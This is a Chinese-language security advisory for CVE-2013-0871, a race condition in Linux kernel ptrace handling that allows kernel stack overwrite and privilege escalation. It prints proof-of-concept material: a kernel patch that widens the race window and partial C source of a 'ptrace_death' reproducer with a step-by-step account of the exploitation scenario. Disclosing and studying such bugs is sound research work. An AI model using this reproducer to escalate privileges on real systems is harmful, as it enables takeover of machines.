Linux Kernel ptrace 功能本地权限提升漏洞(CVE

发布日期:2013-02-15
更新日期:2013-02-20

受影响系统:
Linux kernel 3.4.x
描述:
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BUGTRAQ  ID: 57986
 CVE(CAN) ID: CVE-2013-0871
 
Linux Kernel是Linux操作系统的内核。
 
Linux kernel 3.4.28之前版本在处理某些ptrace操作时存在竞争条件错误,可导致读取或写入任意内核栈内存,以内核模式权限执行任意代码。
 
<*来源:Suleiman Souhlal
 
  链接:
 *>

测试方法:
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警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Code
 --------
 
Salman Qazi provided the following PoC code:
 
Kernel patch for easy reproduction:
 
diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c
 index b629bbe..e22617e 100644
 --- a/arch/x86/kernel/ptrace.c
 +++ b/arch/x86/kernel/ptrace.c
 @@ -24,6 +24,7 @@
 #include <linux/rcupdate.h>
 #include <linux/module.h>
 #include <linux/context_tracking.h>
 +#include <linux/delay.h>
 
#include <asm/uaccess.h>
 #include <asm/pgtable.h>
 @@ -902,6 +903,12 @@ long arch_ptrace(struct task_struct *child, long request,
                                            datap);
 
        case PTRACE_SETREGS:    /* Set all gp regs in the child. */
 +              if (!strcmp(current->comm, "ptrace_death")) {
 +                      int i;
 +                      WARN_ON_ONCE(1);
 +                      for (i = 0 ; i < 15; i++)
 +                              mdelay(10);
 +              }
                return copy_regset_from_user(child,
                                              task_user_regset_view(current),
                                              REGSET_GENERAL,
 
source code for ptrace_death:
 

/*
 * Repro case for SETREGS arbitrary ring zero execution bug.
 *
 * The specific scenario that we attempt to create:
 *
 * V does a syscall.  It is being traced by P.  P
 * upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds
 * to read its registers.  At this time P is asleep and an RT process S
 * starts running.
 *
 * Then P proceeds to write V's registers, at shortly it has done this
 * another process K kills V.  Process S goes to sleep permitting V
 * space to run.  V wakes up from its waiting state and heads for the exit.
 *  But, S quickly wakes up again by the time V has reached schedule().  V
 * is no longer running (since S has the CPU)
 *  and P modifies its regs.  When V finally starts running
 * and returns from schedule(), it pops an incorrect value from the
 * stack.  The reason is that the stack on which schedule() is called
 * does not have the final 6 registers in pt_regs on it.  That means that
 * when P modifies V's registers, it is actually overwriting the stack
 * frame saved for schedule(), including the return RIP.
 *
 * V and S and pinned to CPU 0.  S is an RT task so that it can control
 * when V does and doesn't run.
 * remaining processes are not allowed on 0.
 *
 */
 

#include <sched.h>
 #include <sys/ptrace.h>
 #include <sys/user.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <assert.h>
 #include <signal.h>
 
/* S */
 int nuke_cpu(void)
 {
        int pid0;
        int i;
        unsigned long mask = 1;
 
        pid0 = fork();
        if (!pid0) {
                struct sched_param p = {};
                p.sched_priority = sched_get_priority_min(SCHED_FIFO);
                assert(!sched_setscheduler(0, SCHED_FIFO, &p));
                assert(!sched_setaffinity(0, sizeof(mask), &mask));
                i = 0;
                usleep(120000);
                while(1) {
                        if (i == 50000) {
                                usleep(10);
                                printf("x");
                                fflush(stdout);
                        }
                        i++;
                }
        }
 
        return pid0;
 
}
 

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